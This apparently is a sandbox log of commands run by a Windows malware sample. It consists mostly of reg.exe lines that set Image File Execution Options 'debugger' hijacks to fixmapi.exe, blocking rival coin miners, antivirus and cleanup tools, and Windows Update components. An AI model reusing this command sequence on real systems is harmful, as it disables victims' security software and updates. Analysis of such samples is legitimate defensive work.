  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\find.exe' "5.1"
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssm-xsc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System Idle Process.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex7.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\miner65.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\find.exe' "WmiPrvService.exe"
  • '%WINDIR%\syswow64\tasklist.exe'
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svch0st.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tasksmgrs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhosr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-sse42.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvnc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolvs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSvchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostStore.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRFeature.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu-32" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsys.icn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\xcopy.exe' %WINDIR%\addins %WINDIR%\IME\en-US\old /C /E /I /Q /H /R /K /O /X /Y
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servidor.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetFramework.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetLibrary.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpnet.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\dedka.bat" "
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\payload.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRManager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\cmd.exe' /S /D /c" ver"
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TpmInit.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wprehwc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicroMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIRITSVC.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mworker.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\host32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.SB.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fiddlere.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vercls.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SmadavProtect32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\find.exe' "miter.exe"
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MtxHotPlugService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MONITOR.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reminder.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\JavaUpdater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iddlen.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devencl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qpis.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchProtocolHos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixmapi.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\debugger" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WMIC.exe.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wizard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\waspwing.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfusclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTaskinfo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atiecla.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2guard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Win_Updater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spooIsv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spools.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTTacP.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iimaia.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTraffic.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scriptrap.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemTask.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
